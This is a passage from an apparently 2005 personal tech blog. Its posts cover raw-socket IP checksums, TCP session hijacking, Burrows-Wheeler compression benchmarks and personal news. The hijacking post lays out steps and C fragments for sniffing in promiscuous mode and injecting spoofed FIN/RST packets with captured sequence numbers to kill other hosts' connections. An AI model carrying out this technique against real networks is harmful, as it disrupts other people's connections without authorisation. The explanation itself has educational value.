which gives the fourth chunk as 0000. Our 8-bit Time to Live value is 255, which is FF. The protocol number is 6 in our case (TCP). So the fifth chunk is FF06. Assume header checksum as 0 so the sixth chunk is 0000. Next field is the source address. So with a source address of 34.26.17.10, we get the seventh and eighth chunk as 221A and 110A. Next is the destination address, which is say 1.2.3.4. We get 0102 and 1304 chunks. By adding up all the chunks, we get 17B59. Now remove the first digit and add it with the rest. i.e 1+7B59 = 7B5A. Subtract the number from FFFF, which gives 84A5, which is our IP Checksum value.

You can figure out the rest. I have published a detailed article in linuxworld some years back. Ok this is not a hacking tutorial. But it is very important to understand the packet fundamentals to use raw sockets effectively. I do not know however how some routers prevent broadcast.

( May 16 2005, 08:12:15 PM PDT ) Permalink Comments [5]

Hijacking TCP Sessions

I wrote this sometime back in Linuxworld. But revisited this weekend for building an 'enhanced' TCP session hijacker, purely for educational purpose. It might interest you. I'm using raw sockets in linux.

Session Hijacking can be done effortlessly with a few lines of code using raw socket. Before proceeding to hijack an open TCP Session, we need to understand the TCP connection termination process. Unlike TCP connection initialization, which is a three-way process, connection termination takes place with the exchange of four-way packets. The client who needs to terminate the connection sends a FIN segment to the server (TCP Packet with the FIN flag set) indicating that it has finished sending the data. The server, upon receiving the FIN segment, does not terminate the connection but enters into a "passive close" (CLOSE_WAIT) state and sends an ACK for the FIN back to the client with the sequence number incremented by one. Now the server enters into LAST_ACK state. When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK back to the server with the sequence number incremented by one. When the server gets the ACK from the client, it closes the connection.

As you can see, the connection termination process of TCP is complex, since data integrity is ensured with every packet transferred. Before trying to hijack a TCP connection, we need to understand the TIME_WAIT state. Why should any client be made to wait even after receiving connection termination confirmation from the server? Consider this instance (termed as "incarnation") with two systems, A and B, communicating. After terminating the connection, if these two clients want to communicate again, they should not be allowed to establish a connection before a certain period. This is because stray packets (if there are any) transferred during the initial session should not confuse the second session initialization. So TCP has set the TIME_WAIT period to be twice the MSL (Maximum Segment Lifetime) for the packet. We can spoof our TCP packets and can try to reset an established TCP connection with the following steps:

1. Sniff a TCP Connection. In Linux we need to set our Network Interface to Promiscuous mode. This can be done by specifying the Socket Type in SocketOpt structure as 'PACKET_MR_PROMISC' e-g sockopt.mr_type= PACKET_MR_PROMISC
2. Check if the packet has ACK flag set. If set, the Acknowledgment number is recorded (which will be our next packet sequence number) along with the source IP.
3. Establish a raw socket with spoofed IP and send out the FIN packet to the client with the recorded sequence number. Make sure that you have also set your ACK flag.
Session Hijacking can also be done with the RST flag too.

If you are familiar with an Unix environment, you can use the BSD packet Filter or Data Link provider Interface (DLPI). With the new releases of Linux kernel, you can use an elegant interface called SOCK_PACKET. Explaining BSD Packet Filter and DLPI is beyond the scope of this article so lets deal with Linux specific SOCK_PACKET Interface. Similar to the creation of raw socket, creating SOCK_PACKET socket requires administrative privilege too. You can create a socket like this:

    sd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));

which will receive all the frames from the datalink layer. Remember you are sniffing a subnet and with high traffic network, the socket will act really strange. You can instead sniff only IP packets using ETH_P_IP frame option. Other options include ETH_P_ARP and ETH_P_IPV6. (Check out linux/if_ether.h). If your kernel and network device supports Promiscuous mode, you can do an ioctl of SIOCGIFLAGS by fetching the flag and setting IFF_PROMISC flag and again storing the flags using SIOCGIFLAGS.

    fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))
    ioctl(fd,SIOCGIFFLAGS,&ifinfo);
    ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
    ioctl(fd,SIOCSIFFLAGS,&ifinfo); 

If you don't know what ioctl does, check out the man page. It lets you manipulate the device parameters of files. And for instructing your network adapter to pass on all the packets it gets to your application, you should set your socket option to SOL_PACKET and bind it to the socket using PACKET_ADD_MEMBERSHIP.

    sock = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
    setsockopt(sock, SOL_PACKET, PACKET_ADD_MEMBERSHIP,
    (void *)&sockopt, sizeof(sockopt)); 

The major disadvantage of using SOCK_PACKET is, it does not support kernel filtering and buffering; so multiple frames cannot be passed to our code with a single read method. And also ETH_P_IP returns packets even from a loopback device, so the real challenge lies in discerning and discarding useless frames.

One problem I faced during connection termination was that most of the packets I sniffed came from my loopback device. So every time I try to hijack a connection I had to check if the source and destination IP are same. Then I wait for an ACK flag set packet. This is to ensure that we mess up with only established connections. Once I find an ACK packet I extract the acknowledgment number and use it as the sequence number in my own packet with IP addresses swapped and will send a FIN packet to the server with the acknowledgment number as the summation of original packet sequence number and the data length.

    sp_seq=pinfo.ack;
    sp_ack=pinfo.seq+pinfo.datalen; 

Since the server gets the correct sequence number, which it is expecting, it will disconnect the connection. Boom!

( Apr 25 2005, 12:29:48 AM PDT ) Permalink Comments [2]

Compressing Protein Sequences

The Protein Corpus is a set of 4 files, which were used in the article "Protein is incompressible" by Craig Nevill-Manning and Ian Witten. (http://portal.acm.org/citation.cfm?id=789623) These files are HI for Haemophilus Influenzae, HS for Homo Sapiens, MJ for Methanococcus Jannaschii and SC for Saccharomyces Cerevisiae. According to the authors, Protein is difficult to compress since there is little Markov dependency in protein. They have also developed a special compression program called CP for Compress Protein, which achieves an average compression rate of 4.113 bps for the 4 files of the corpus. Why is protein difficult to compress? The available data compression techniques does not fit well for a protein sequence unless there is entropy sequence analyzing routine in the compression. Average bps of 4 is great for a protein file, but the author's program may not fare well with meaningful linguistic data. So here is the attempt of compressing the protein corpus at one short with the 1 MB block size. No tweaking whatsoevr and no special compression routines. Just the java sequence I mentioned earlier.

        + \hi @ 282168 : 509519 -> CR: [44.620712 %] - [4.430343 bps] - [No BWT]
	+ \hs @ 1629843 : 3295751 -> CR: [50.547142 %] - [3.9562285 bps]
	+ \mj @ 248738 : 448779 -> CR: [44.5745 %] - [4.43404 bps] - [No BWT]
	+ \sc @ 1454824 : 2900352 -> CR: [49.839745 %] - [4.0128207 bps]
	
	Average File Stats:
	  Orig. Size : 7154401 Bytes (6.8 MB)
	  Comp. Size : 3615573 Bytes (3.4 MB)
	  Comp. Ratio: 49.463654 %
	Dir. Stats:
	  Orig. Size : 7154401 Bytes (6.8 MB)
	  Comp. Size : 3615595 Bytes (3.4 MB)
	  Comp. Ratio: 49.463345 %
	Aveg. bps  : 4.2083583 bps
	

I could achieve 4.2 with that. I believe it can go down to 3.8-3.9 for a huge block size of 3.4 MB. One glitche is my BWT encoder going bonkers with both 'hi' and 'mj'. That is implementation specific. I didnt have time to create an optimized sort. It was just a recursive quicksort, so the stack overflow. So the results for those 2 files includes just a simple Huffman coder. An interesting observation is that it is not even about compression. It is like storing the data after the BWT stage. Since BWT is best for pattern matching, you can search through a DNA sequence at high speed and find astonishing patterns. More on this soon.

( Apr 07 2005, 02:12:19 AM PDT ) Permalink Comments [0]

Maximum Data Compression

I have this fixation for data compression. Just like my attitude to squeeze the hell outta people, I try my hands with new compression techniques and sequences. One thing fascinated me off late is the BW Transform. When you use it along with an entropy encoder, you can achieve theoritically possible maximum compression. This is how I do a BWT on data:

Given a sequence of symbols with length N, we create N-1 other sequences, where each of these N-1 sequences of symbols is a cyclic shift of the original sequence. These N sequences are arranged in lexicographic order. The BWT encoder, then transmits the sequence of length N created by taking the last letter of each sorted, cyclically shifted sequence (The last column of the block). This sequence along with the position of the first symbol position in this sequence is all needed to reconstruct the original text.

This weekend I tried to rewrite my earlier mess on a BWT implementation and came up with a simple but effective encoder. It works in this sequence.

Data->BWT->MTF->RLE->Entropy Encoder->Highly Compressed Data
Highly Compressed Data->Entropy Decoder->RLD->MTF->RBWT->Data

It is possible to achieve maximum compression with these sequences.
MTF is the Move-To-Front encoding scheme.
My only problem was the high level of computation involved.
Apparently Java can handle this with a few easy techniques involved with block sorting.
I created my prototype and tested with the commercial archivers. And this is the result I got for the Calgary Corpus:


An average bps of 2.05 is not bad at all for a simple Java implementation. Lot of possibilities for improvement.

Getting excited, I benchmarked my cutie with some commercial compressers. And here is the result:

This is too good for a test program in Java. Moreover there is no cheating involved, no arithmetic encoders. Only entropy encoders More on this later.

        + \bib @ 28632 : 111261 -> CR: [74.265915 %] - [2.0587268 bps]
	+ \book1 @ 245839 : 768771 -> CR: [68.02182 %] - [2.5582547 bps]
	+ \book2 @ 165839 : 610856 -> CR: [72.85138 %] - [2.17189 bps]
	+ \geo @ 62443 : 102400 -> CR: [39.020508 %] - [4.8783593 bps]
	+ \news @ 122939 : 377109 -> CR: [67.39961 %] - [2.608031 bps]
	+ \obj1 @ 11185 : 21504 -> CR: [47.98642 %] - [4.161086 bps]
	+ \obj2 @ 78687 : 246814 -> CR: [68.118904 %] - [2.5504875 bps]
	+ \paper1 @ 17226 : 53161 -> CR: [67.59655 %] - [2.5922763 bps]
	+ \paper2 @ 26230 : 82199 -> CR: [68.08964 %] - [2.552829 bps]
	+ \paper3 @ 16516 : 46526 -> CR: [64.50157 %] - [2.8398745 bps]
	+ \paper4 @ 5422 : 13286 -> CR: [59.190125 %] - [3.26479 bps]
	+ \paper5 @ 5050 : 11954 -> CR: [57.754726 %] - [3.379622 bps]
	+ \paper6 @ 12794 : 38105 -> CR: [66.424355 %] - [2.6860516 bps]
	+ \pic @ 54368 : 513216 -> CR: [89.40641 %] - [0.8474872 bps]
	+ \progc @ 13016 : 39611 -> CR: [67.14044 %] - [2.6287646 bps]
	+ \progl @ 16279 : 71646 -> CR: [77.278564 %] - [1.8177149 bps]
	+ \progp @ 11158 : 49379 -> CR: [77.40335 %] - [1.807732 bps]
	+ \trans @ 18196 : 93695 -> CR: [80.57954 %] - [1.5536368 bps]

The Three Musketeers:
Tools	     Orig. Size (Bytes)	    Comp. Size(Bytes)	            Bps (Bits/Symbol)
WinZip	     1,349,189	            503,693(Best Compression)	    2.986
WinRAR	     1,349,189	            416,342(Best Compression)	    2.468
Mine(BAR)    1,349,189	            371,442(default bsize of 1MB)   2.202

For a set of Bible files in RTF:
Tools	     Orig. Size (Bytes)	    Comp. Size(Bytes)	            Bps (Bits/Symbol)
WinZip	     8,417,837	            1,957,889(Best Compression)	    1.8607
WinRAR	     8,417,837	            1,802,799(Best Compression)	    1.7133
Mine(BAR)    8,417,837	            1,606,802(default bsize of 1MB) 1.5270

For The Large Corpus:
Tools	     Orig. Size (Bytes)	    Comp. Size(Bytes)	            Bps (Bits/Symbol)
WinZip	     11,159,482	            3,331,499(Best Compression)	    2.3882
WinRAR	     11,159,482	            2,837,133(Best Compression)	    2.0338
Mine(BAR)    11,159,482	            2,602,030(default bsize of 1MB) 1.8653

( Apr 04 2005, 10:01:33 PM PDT ) Permalink Comments [1]

Death of a Pope

Pope John Paul II's papacy is third longest in the 2000 years of christianity. It is a great loss to the catholic community in particular and humanity in general. The people's pope was the source of strength for many clergies and spiritual leaders. The hope of millions that the dogma will be observed goes down with the pope. No pope will be good enough to oppose the sacred college of cardianls and stick to reforms. With the conspiracy already springing up as to the secret sistel meetups, let the good God be kind enough to give us a good spiritual leader.



The weekend was hectic. With my new Victor GX machine, I was trying my driving skills on the busy road of Bangalore. Now you know where the Phantom is. BTW isn't this cool?



( Apr 03 2005, 11:30:40 PM PDT ) Permalink Comments [0]